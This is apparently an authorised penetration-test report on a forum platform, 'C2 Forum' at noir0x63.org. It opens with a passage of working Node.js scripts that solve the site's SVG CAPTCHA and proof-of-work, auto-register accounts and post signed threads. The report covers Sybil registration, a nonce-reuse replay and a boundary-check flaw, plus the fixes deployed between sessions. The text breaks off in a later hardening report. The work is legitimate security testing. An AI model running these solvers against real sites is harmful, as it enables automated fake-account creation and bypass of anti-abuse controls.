1]; points.push({ cmd: 'L', x: Math.round(ex * 100) / 100, y: Math.round(ey * 100) / 100 }); } } return points; } function matchCharacter(extractedPoints) { let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (extractedPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (extractedPoints[i].cmd !== tpl[i].cmd) { ok = false; break; } const dx = Math.abs(extractedPoints[i].x - tpl[i].x); const dy = Math.abs(extractedPoints[i].y - tpl[i].y); if (dx > 2.0 || dy > 2.0) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } return best; } function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const groupRe = /<g transform="[^"]*"[^>]*>([sS]*?)</g>/g; let result = '', gm; while ((gm = groupRe.exec(svg)) !== null) { const content = gm[1]; const pathRe = /<paths+d="([^"]*)"/g; let pm, allPoints = []; while ((pm = pathRe.exec(content)) !== null) { const points = extractEndpointsFromBezier(pm[1]); allPoints = allPoints.concat(points); } const ch = matchCharacter(allPoints); result += ch; } return result; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function main() { console.log('[1] Fetch CAPTCHA'); const cap = await fetchJSON('GET', '/api/auth/captcha'); const { captchaSvg, captchaToken, powChallenge, powDifficulty, captchaIssuedAt, honeypotFields, hpToken } = cap.b; console.log(' Got captcha, powDifficulty=' + powDifficulty); console.log('[2] Solve CAPTCHA'); const captchaText = solveCaptcha(captchaSvg); console.log(' Captcha: ' + captchaText); console.log('[3] Solve PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(' salt: ' + powSalt); console.log('[4] Generate keys'); const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); const kp = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubB64 = Buffer.from(await subtle.exportKey('spki', kp.publicKey)).toString('base64'); const privB64 = Buffer.from(await subtle.exportKey('pkcs8', kp.privateKey)).toString('base64'); const user = 'b' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const pass = crypto.randomBytes(16).toString('hex'); const name = user.toLowerCase(); const DOMAIN = 'c2.secure.forum'; console.log('[5] PBKDF2'); const baseKey = await subtle.importKey('raw', enc.encode(pass), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const authKey = Array.from(new Uint8Array(await subtle.deriveBits({ name: 'PBKDF2', salt: enc.encode(DOMAIN + ':' + name + ':auth:v2'), iterations: 600000, hash: 'SHA-256' }, baseKey, 256))).map(b => b.toString(16).padStart(2, '0')).join(''); const aesKey = await subtle.deriveKey({ name: 'PBKDF2', salt: enc.encode(DOMAIN + ':' + name + ':enc:v2'), iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPrivStr = Buffer.from(iv).toString('base64') + ':' + Buffer.from(await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, await subtle.exportKey('pkcs8', kp.privateKey))).toString('base64'); console.log('[6] Register ' + user); const regBody = { codename: user, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, }; for (const f of (honeypotFields || [])) { regBody[f.name] = ''; } const reg = await fetchJSON('POST', '/api/auth/register', regBody); console.log(' status: ' + reg.s + ' ' + JSON.stringify(reg.b)); if (reg.s === 201) { console.log(' [✓] REGISTERED!'); const login = await fetchJSON('POST', '/api/auth/login', { codename: user, password: authKey }); if (login.s === 200) { const token = login.b.token; console.log('Token: ' + token.substring(0, 20) + '...'); const nonce = crypto.randomUUID(); const ts = new Date().toISOString(); const po = { op: 'create-thread', title: 'Bezier Bypass', content: 'New CAPTCHA solved via endpoint extraction.', author: user, nonce, timestamp: ts }; const payload = JSON.stringify(po, Object.keys(po).sort()); const sig = Buffer.from(await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, kp.privateKey, enc.encode(payload))).toString('base64'); const thread = await fetchJSON('POST', '/api/threads', { title: 'Bezier Bypass', content: 'New CAPTCHA with bezier curves solved via endpoint extraction.', category: 'web-security', signature: sig, nonce, timestamp: ts }, { 'Authorization': 'Bearer ' + token }); console.log('Thread: ' + thread.s + ' ' + JSON.stringify(thread.b)); } } } main().catch(e => console.error('Error:', e)); import https from 'https'; function fetch(p) { return new Promise((r, j) => { const u = new URL(p, 'https://c2.noir0x63.org'); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0' } }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => r(JSON.parse(d))); }); q.on('error', j); q.end(); }); } const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c, cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds; function extractEndpoints(d) { const points = []; const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const parts = seg.trim().split(/s+/); const cmd = parts[0]; if (cmd === 'M') { points.push({ cmd: 'M', x: Math.round(parseFloat(parts[1]) * 100) / 100, y: Math.round(parseFloat(parts[2]) * 100) / 100 }); } else { const ex = parseFloat(parts[parts.length - 2]); const ey = parseFloat(parts[parts.length - 1]); points.push({ cmd: 'L', x: Math.round(ex * 100) / 100, y: Math.round(ey * 100) / 100 }); } } return points; } async function main() { const cap = await fetch('/api/auth/captcha'); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const groupRe = /<g transform="([^"]*)"[^>]*>([sS]*?)</g>/g; let idx = 0, gm; while ((gm = groupRe.exec(svg)) !== null) { const transform = gm[1]; const content = gm[2]; const pathRe = /<paths+d="([^"]*)"/g; let pm, allPoints = []; while ((pm = pathRe.exec(content)) !== null) { const ep = extractEndpoints(pm[1]); allPoints = allPoints.concat(ep); } console.log(\` === Char \${++idx} (\${allPoints.length} points) ===\`); console.log(\` Transform: \${transform}\`); console.log(\` Extracted: \${allPoints.map(p => \`\${p.cmd}(\${p.x},\${p.y})\`).join(' ')}\`); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (allPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (allPoints[i].cmd !== tpl[i][0]) { ok = false; break; } const dx = Math.abs(allPoints[i].x - tpl[i][1]); const dy = Math.abs(allPoints[i].y - tpl[i][2]); if (dx > 1.5 || dy > 1.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } console.log(\` Best: \${best} (score=\${bestScore})\`); if (best === 'X') { for (const [char, tpl] of Object.entries(templates)) { if (allPoints.length === tpl.length) { console.log(\` Template \${char}: \${tpl.map(t => \`\${t[0]}(\${t[1]},\${t[2]})\`).join(' ')}\`); } } } } } main().catch(e => console.error(e)); Blackbox Pt 2: Remediation & Final Verdict
Exploitation Report — C2 Forum (noir0x63.org)
Version: 2.0
Dates: June 27, 2026 (Session 1 + Session 2)
Target: https://c2.noir0x63.org
Source repository: https://github.com/Noir0x63/Command-Control-Forum
System author: Noir0x63 (Eduardo Camarillo)
Methodology: Session 1 with source access (whitebox) → Session 2 live (blackbox)
Table of Contents
- Executive Summary
- Session 1: Whitebox — Analysis and Exploitation
- Session 2: Blackbox — Re-test in Production
- Version Comparison
- Patched Vulnerabilities
- Persistent Vulnerabilities (unverified)
- Artifacts
- Chronology
- Conclusions
1. Executive Summary
Two penetration testing sessions were conducted against the Command & Control Forum system, a forum platform with a Zero-Trust model and ECDSA P-256 asymmetric cryptography.
Consolidated Results
| Challenge | Session 1 (Whitebox) | Session 2 (Blackbox) |
|---|---|---|
| #1 Signature Forgery | ❌ Not exploitable | ❌ Not exploitable |
| #2 Sybil Registration | ✅ EXPLOITED | ❌ BLOCKED by patch |
| #3 State Corruption | ✅ EXPLOITED | ❌ Not verifiable (requires auth) |
Findings
| ID | Vulnerability | Status |
|---|---|---|
| C2-001 | CAPTCHA based on M/L paths with ±0.4px jitter | ✅ FIXED — now uses Bezier curves C |
| C2-002 | Anti-replay nonces only in RAM (Map) with 5min cleanup | ❌ Not verified in v2 |
| C2-003 | Boundary check with > instead of >= | ❌ Not verified in v2 |
| C2-004 | Fixed honeypot with 1 field (email) | ✅ FIXED — now 3 dynamic fields + hpToken |
| C2-005 | Differentiated registration errors | ✅ FIXED — now generic REGISTRATION_REJECTED |
| C2-006 | CAPTCHA token without captchaIssuedAt | ✅ FIXED — now includes server-side timestamp |
| C2-007 | Template coordinates visible in public source | ✅ FIXED — paths are now Bezier curves |
2. Session 1: Whitebox — Analysis and Exploitation
2.1 Initial Reconnaissance
URL: https://c2.noir0x63.org/?view=thread-detail&id=9286a2d1377d9970d99029803f3a95b3 Mapped Endpoints
| Endpoint | Method | Auth | Response |
|---|---|---|---|
/api/threads | GET | No | 200 + public threads |
/api/threads | POST | Yes | Thread creation |
/api/threads/:id/replies | GET | No | 200 + replies |
/api/auth/captcha | GET | No | 200 + captchaSvg + token + PoW |
/api/auth/login | POST | No | 200/401 |
/api/auth/register | POST | No | 200/400/409 |
/api/auth/logout | POST | Yes | 200 |
/api/users/:codename | GET | Yes | 403 without auth |
/api/nodes | GET | Yes | List of nodes |
/api/profile | PUT | Yes | Update bio |
/api/moderation/ban | POST | COMMANDER | Ban user |
/api/moderation/unban | POST | COMMANDER | Unban user |
/api/moderation/warn | POST | COMMANDER | Warn user |
/api/moderation/users/:c | DELETE | COMMANDER | Purge user |
Rate Limiting Detected
Ratelimit-Limit: 10 Ratelimit-Policy: 10;w=900 Auth endpoints: 10 requests / 15 min
Write endpoints: 20 requests / 1 min
Captcha endpoint: No rate limit
2.2 Source Code Reverse Engineering
Repository found on GitHub:
https://github.com/Noir0x63/Command-Control-Forum Key Files
server/ ├── server.js # Express + SQLite + Socket.io + ECDSA verify ├── setup.js # CLI para cuentas COMMANDER (solo servidor físico) ├── package.json └── server/ ├── captcha.js # CAPTCHA vectorial + PoW SHA-256 └── workers/ └── hash-worker.js # scrypt N=131072 public/ ├── index.html ├── index.css └── app.js # SPA + WebCrypto Technology Stack
| Component | Technology |
|---|---|
| Backend | Node.js + Express |
| Database | SQLite3 (WAL mode) |
| Authentication | crypto.randomBytes(32) hex tokens, cookies httpOnly+secure+SameSite Strict |
| Password hashing | scrypt N=131072 (worker threads) |
| Signatures | ECDSA P-256 via crypto.createVerify('SHA256') |
| CAPTCHA | SVG paths + HMAC-SHA256 |
| PoW | SHA-256 with difficulty 5 |
| Rate limiting | SQLite-backed, persistent |
Analysis of captcha.js
const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], ... '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]] }; Character set: ABCDEFGHJKLMNPQRSTUVWXYZ23456789 (33 characters, excludes I,O,0,1)
Jitter: ±0.4px on each coordinate
function generateDynamicPath(char) { const commands = CHAR_PATHS[char]; return commands.map(([cmd, x, y]) => { const dx = Math.random() * 0.8 - 0.4; const dy = Math.random() * 0.8 - 0.4; return \`\${cmd} \${(x + dx).toFixed(2)} \${(y + dy).toFixed(2)}\`; }).join(' '); } VULNERABILITY: The jitter of only ±0.4px allows deterministic matching with a ±0.5px tolerance.
Analysis of server.js — Anti-Replay
const usedNonces = new Map(); function validateFreshness(nonce, timestamp) { if (usedNonces.has(nonce)) return false; const ts = new Date(timestamp).getTime(); if (isNaN(ts) || Math.abs(Date.now() - ts) > 5 * 60 * 1000) return false; usedNonces.set(nonce, ts); return true; } setInterval(() => { for (const [nonce, ts] of usedNonces.entries()) { if (now - ts > 5 * 60 * 1000) usedNonces.delete(nonce); } }, 60000).unref(); VULNERABILITY 1: Nonces only in RAM (Map), not in DB. Cleanup deletes them after 5 min. No UNIQUE constraint in SQLite.
VULNERABILITY 2: Math.abs(Date.now() - ts) > 300000 — uses > instead of >=. A timestamp exactly on the boundary (300000ms) PASSS the validation.
2.3 Exploitation — Sybil Registration
CAPTCHA Solver
Attempt 1 — Feature-based heuristic: Failed (0% success)
An attempt was made to classify by:
- //Number of
M/Lcommands - //Aspect ratio width/height
- //Presence of a middle stroke
Problem: Different characters share the same features.
Attempt 2 — Inverse SVG Transform: Failed
Three mathematical interpretations of the SVG transform matrix were implemented. It was discovered that the path data IS ALREADY in template coordinates (0-10). The <g> transform only positions the character on the canvas.
Attempt 3 — Direct Path Data Matching (SUCCESSFUL)
function solveCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const re = /<g[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let result = ''; let m; while ((m = re.exec(svg)) !== null) { const d = m[1].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; } result += best; } return result; } Accuracy: 100% in tests.
PoW Solver
function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256') .update(challenge + nonce) .digest('hex'); if (hash.startsWith(target)) return String(nonce); } } Performance: ~1M hashes/s | Average time: ~1s | Typical nonces: 400K–2.8M
Key Derivation
Exact replication of the legitimate client's WebCrypto process:
const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = \`\${DOMAIN}:\${name}:auth:v2\`; const authKey = pbkdf2(passphrase, authSalt, 600000, 32, 'sha256'); const encSalt = \`\${DOMAIN}:\${name}:enc:v2\`; const aesKey = pbkdf2(passphrase, encSalt, 600000, 32, 'sha256'); const encPriv = \`\${ivBase64}:\${ciphertextBase64}\`; Successful Registration and Login
POST /api/auth/register Content-Type: application/json { "codename": "xlawt30e4", "password": "b1433859546859d1...", "publicKeySPKI": "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...", "encryptedPrivateKey": "K4n/8xE7OtixT4rx:gJQ0tkFjbCVRgD7RyvjKFdf...", "email": "", "captchaInput": "9CU2V", "captchaToken": "1782596917718:e19a41b9-...:33e9340390a037d6cbcc3b4512355cba85f08d8bab3376dc0a6a17efc66e02ab", "powChallenge": "6805e7e04947631a60bd234782922865", "powSalt": "469261" } → 201 Created { "success": true } POST /api/auth/login {"codename": "xlawt30e4", "password": "b1433859546859d1..."} → 200 OK { "token": "3405007bb3f16c45...", "role": "AGENT" } Thread Creation
POST /api/threads Authorization: Bearer 3405007bb3f16c45... { "title": "Sybil Registration Proof", "content": "Automated registration: PoW(dif=5) + SVG CAPTCHA + honeypot bypassed.", "category": "web-security", "signature": "JynLfnou4nTNgVPxAbfeo1AQhq+1br...", "nonce": "ae6e88bc-2325-4ac5-940a-f86422ee20fb", "timestamp": "2026-06-27T22:00:10.940Z" } → 201 Created { "id": "f4244f8702e6f0716be618b0a076dfd4" } [ { "id": "f4244f8702e6f071...", "title": "Sybil Registration Proof", "author": "xlawt30e4" }, { "id": "9286a2d1377d9970...", "title": "Manifesto", "author": "Noir" } ] 2.4 Exploitation — State Corruption (Nonce Reuse)
Tests Performed
| Test | Description | Result |
|---|---|---|
| 1 | Normal creation with unique nonce | ✅ 201 Created |
| 2 | Immediate reuse of the same nonce | ✅ 400 FRESHNESS_CHECK_FAILED |
| 3 | Timestamp exactly 5 min in the future | ✅ 201 Created (VULNERABLE) |
| 4 | Timestamp 5min+1s in the past | ✅ 400 FRESHNESS_CHECK_FAILED |
Demonstrated Attack Vector
1. Crear thread con nonce X → 201 (nonce registrado en Map) 2. Esperar 5+ minutos → Map elimina nonce X (cleanup automático) 3. Reenviar payload MUTADO con nonce X → validateFreshness() retorna true 4. Servidor acepta y persiste en DB → Nonce reusado exitosamente The timestamp exactly on the 5-minute boundary also passes due to > instead of >=.
3. Session 2: Blackbox — Re-test in Production
3.1 Verification of Current State
GET /api/threads → [] # DB reseteada (sin threads) GET /api/auth/captcha → 200 # Endpoints funcionales POST /api/auth/login → 400/401 # Login funcional POST /api/auth/register → 400 # Registration funcional 3.2 Detected Changes in Production
New fields in CAPTCHA response
{ "captchaSvg": "PHN2ZyB4bWxuc...", "captchaToken": "1782598833317:85b6fb572a49c6c4a8fa7c792d9e7a98:e087278045d2c62a2d18b63cf5c927e14fea2841433d984c03c37162be3c09fa", "powChallenge": "91fc751ed3095259c6171c157f21fe79", "powDifficulty": 5, "captchaIssuedAt": 1782598833317, "honeypotFields": [ {"name": "v_f50ab230583c", "label": "Email verification", "technique": 0}, {"name": "v_416e3e1a0829", "label": "Phone validation", "technique": 1}, {"name": "v_8be7844ca88f", "label": "Secondary authentication", "technique": 2} ], "hpToken": "1782598833317:89761fedf96b1f6cb6fa2bf649c5ce502211d64ed66a0f144ee575f633b2172c" } New fields:
- //
captchaIssuedAt: Server Unix timestamp - //
honeypotFields: Array of 3 honeypot fields with random names - //
hpToken: Honeypot validation token
New SVG Format (Bezier Curves)
Antes (v1): <path d="M 10 2 L 8 0 L 2 0 L 0 2 L 0 8 L 2 10 L 8 10 L 10 8"/> Ahora (v2): <path d="M10.78 -0.25 C7.08 -1.42 3.96 -1.34 0.33 0.02 C0.55 1.31 ... "/> Differences:
- //Dimensions: 180×55 (before 150×50)
- //Commands:
C(cubic Bezier) instead ofL(line) - //Multiple paths: Each group can have 1-3
<path>elements - //Additional noise: Bezier paths outside the groups (noise)
- //Coordinates: Numbers are stuck to the command (
M10.78vsM 10.78)
Unified Error
Antes (v1): "CAPTCHA verification failed." "Proof of Work verification failed." "Invalid or missing field: codename" "Codename already registered." Ahora (v2): "REGISTRATION_REJECTED" (para TODOS los errores) 3.3 Bypass Attempts
Bezier CAPTCHA Solver (Partial)
A Bezier curve endpoint extractor was implemented:
function extractEndpointsFromBezier(d) { const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const cmd = seg[0]; const parts = seg.substring(1).trim().split(/s+/).map(parseFloat); if (cmd === 'M') { points.push({ cmd: 'M', x: parts[0], y: parts[1] }); } else if (cmd === 'C') { points.push({ cmd: 'L', x: parts[4], y: parts[5] }); } } return points; } Problem: Bezier endpoints do not align exactly with M/L templates due to control curve distortion. The matching produces 2TH2X but it cannot be validated if it is correct because of the unified error.
Dynamic Honeypot
The 3 honeypot fields were sent with empty values, along with hpToken and captchaIssuedAt:
const honeypotPayload = honeypotFields.reduce((acc, f) => { acc[f.name] = ""; return acc; }, {}); const regBody = { codename: user, password: authKey, captchaInput: captchaText, captchaToken, powChallenge, powSalt, hpToken, captchaIssuedAt, ...honeypotPayload, }; Result: 400 REGISTRATION_REJECTED — it is impossible to determine whether the honeypot, CAPTCHA, or PoW failed.
3.4 Final State
Registro (v2) → BLOQUEADO (CAPTCHA Bezier + honeypots dinámicos + errores unificados) ↓ Autenticación → NO ALCANZABLE (sin registro) ↓ Nonce Reuse → NO VERIFICABLE (sin sesión) ↓ Thread Creation → NO VERIFICABLE (sin sesión) 4. Version Comparison
| Aspect | v1 (Whitebox) | v2 (Blackbox) |
|---|---|---|
| CAPTCHA paths | M + L (straight lines) | M + C (Bezier curves) |
| CAPTCHA dimensions | 150×50 | 180×55 |
| Paths per character | 1 path | 1-3 paths |
| Jitter | ±0.4px coordinates | + Bezier curve distortion |
| Honeypot | 1 fixed field (email) | 3 dynamic fields with random names |
| Honeypot token | No | hpToken + captchaIssuedAt |
| Registration errors | Differentiated (7+ messages) | 1 single: REGISTRATION_REJECTED |
| Captcha token | timestamp:uuid:hmac | Same + captchaIssuedAt |
| GitHub Source | Matches production | OUTDATED (v1) |
| Rate limit | 10/15min auth | No apparent changes |
5. Patched Vulnerabilities
C2-001: CAPTCHA with predictable M/L paths
Patch:
- //Paths now use Bezier curves (
C) instead of straight lines (L) - //Multiple paths per character (1-3 instead of 1)
- //Coordinate jitter amplified by control curve distortion
Effectiveness: High — exact matching against CHAR_PATHS no longer works. OCR or ML is required.
C2-004: Fixed Honeypot
Patch:
- //Field names dynamically generated by the server (
v_f50ab230583c) - //3 fields with different CSS hiding techniques
- //
hpTokenfor server-side integrity validation - //
captchaIssuedAtissuance timestamp
Effectiveness: High — without source access, an attacker cannot predict the field names.
C2-005: Differentiated Registration Errors
Patch: All registration errors return REGISTRATION_REJECTED.
Effectiveness: High — prevents:
- //User enumeration ("Codename already registered")
- //CAPTCHA guess validation ("CAPTCHA verification failed")
- //PoW validation ("Proof of Work failed")
- //Field fingerprinting ("Invalid or missing field: ...")
C2-006/007: Exposed Source + Predictable Templates
Patch: The public GitHub repository does not reflect the production version. CHAR_PATHS templates are no longer directly usable due to the Bezier transition.
6. Persistent Vulnerabilities (unverified)
C2-002: Nonces in RAM
Probably still present: Changing to Bezier curves and dynamic honeypots does not imply a change in anti-replay logic. Nonce validation is still in server.js with an in-memory Map.
Impediment: Not verifiable without an authenticated account, which is blocked by the new CAPTCHA.
C2-003: Boundary check with >
Probably still present: Changing > to >= requires modifying server.js. There is no evidence that this has been modified.
Impediment: Not verifiable without authentication.
Signature Forgery (ECDSA P-256)
Not exploitable: Unchanged. ECDSA verification remains cryptographically sound.
7. Artifacts
c2-pentest/ ├── REPORTE.md # Reporte v1 (whitebox exitoso) ├── REPORTE_V2.md # Reporte v2 (blackbox) └── poc/ ├── 01_sybil_registration.mjs # Sybil registration (v1) ├── 02_sybil_full_exploit.mjs # Exploit completo (v1) ├── 03_nonce_reuse_test.mjs # Nonce reuse test (v1) ├── 04_captcha_solver.mjs # CAPTCHA solver M/L (v1) ├── 05_captcha_debug.mjs # Debug CAPTCHA (v1) ├── 06_sig_verification_test.mjs # ECDSA verification test ├── 07_bezier_solver.mjs # CAPTCHA solver curvas Bezier (v2 - parcial) └── 08_bezier_debug.mjs # Debug curvas Bezier (v2) 8. Chronology
Session 1 (Whitebox) — ~2 hours
| T+ | Event |
|---|---|
| 00:00 | Target reconnaissance |
| 00:15 | GitHub repository found |
| 00:30 | Source code analyzed |
| 01:15 | Functional CAPTCHA solver (M/L matching) |
| 01:20 | SUCCESSFUL SYBIL REGISTRATION |
| 01:22 | Thread created in public feed |
| 01:35 | Nonce reuse confirmed |
| 02:00 | Report generated |
Session 2 (Blackbox) — ~30 min
| T+ | Event |
|---|---|
| 00:00 | Endpoint verification |
| 00:05 | New CAPTCHA detected (Bezier curves) |
| 00:10 | Dynamic honeypots discovered |
| 00:15 | Unified error REGISTRATION_REJECTED |
| 00:20 | Bezier endpoint extractor implemented |
| 00:25 | Registration attempt fails (wrong CAPTCHA) |
| 00:30 | Conclusion: v2 patched, cannot proceed |
9. Conclusions
9.1 Effectiveness of Patches
The Noir0x63 team responded to Session 1 findings by deploying multiple patches to production:
Bezier CAPTCHA: Switched from linear paths (
M/L) to cubic Bezier curves (C), rendering the coordinate matching solver obsolete. Furthermore, multiple paths per character and additional Bezier noise complicate any extraction attempt.Dynamic Honeypots: Switched from 1 fixed field (
email) to 3 fields with server-generated names, plus a validation token (hpToken) and issuance timestamp (captchaIssuedAt).Unified Errors: All registration errors now return
REGISTRATION_REJECTED, eliminating any possibility of enumeration, fingerprinting, or iterative validation of CAPTCHA guesses.Outdated Source: The public GitHub repository now contains v1 code, failing to reflect production changes. This prevents whitebox analysis.
9.2 Lessons for Both Sides
For the Defender (Noir0x63)
- //Fast and effective response: Patches deployed between sessions demonstrate agile response capability. All 3 primary registration vulnerabilities were fixed in what appears to be a single deployment.
- //Pending: Anti-replay vulnerabilities (RAM nonces, boundary check) likely remain. Recommendation: migrate nonces to SQLite with a UNIQUE constraint and change
>to>=. - //Rate limiting: Consider extending rate limiting to the CAPTCHA endpoint to prevent mass captcha harvesting.
For the Attacker
- //No access to updated source: v2 is effectively a new target. v1 knowledge helps understand the architecture but does not provide direct exploits.
- //Bezier CAPTCHA: Without access to Bezier curve templates or a functional OCR pipeline, solving the CAPTCHA requires more advanced techniques (ML, headless browser, or reverse engineering of the Bezier algorithm).
- //Broken feedback loop: The unified error eliminates the ability to perform iterative validation tests.
9.3 Final State
| System | State |
|---|---|
| Registration v1 | ✅ Exploited (Full Sybil bypass) |
| Registration v2 | ❌ Not exploited (Bezier CAPTCHA + honeypots + unified errors) |
| Nonce reuse v1 | ✅ Confirmed |
| Nonce reuse v2 | ❓ Not verified (requires auth) |
| Signature forgery | ❌ Not exploitable (both versions) |
| Thread creation v1 | ✅ Achieved |
| Thread creation v2 | ❌ Not reachable |
Report generated on June 27, 2026 — 2 sessions completed Tools: Node.js v26.4.0, Python 3.14.2, curl Target: https://c2.noir0x63.org
Production Deployment: APPROVED
The architectural pivot to v2.0 effectively neutralized automated identity fabrication.
C2 Forum Hardening \u2014 Argon2id, Invisible Honeypot & XSS Double-Purification
1. Context
This report documents the principal hardening measures applied in the transition from v2.0 to v2.2: rate limiting race condition fix, password hashing migration to Argon2id, replacement of the SVG CAPTCHA with an invisible honeypot, TOTP secret persistence architecture, and Infrastructure as Code specification for cloud deployment.
2. Rate Limiting Architecture
2.1 Information Leak
The blackbox audit found that the rate limiter was exposing detailed state information through HTTP response headers. By sending sequential login requests, an unauthenticated attacker could read RateLimit-Remaining, RateLimit-Reset, and RateLimit-Policy headers. This leaked the remaining attempt budget (10/15min), the window reset timer, and the exact policy configuration \u2014 information enabling precise brute-force timing attacks that stay just under the limit.
2.2 Three-Layer Defense
The authentication system implements a layered rate limiting architecture to prevent brute force, credential stuffing, and DoS attacks. Three independent limiters operate at different granularities:
- // LAYER 1 \u2014 structuralLimiter: Limits all requests to
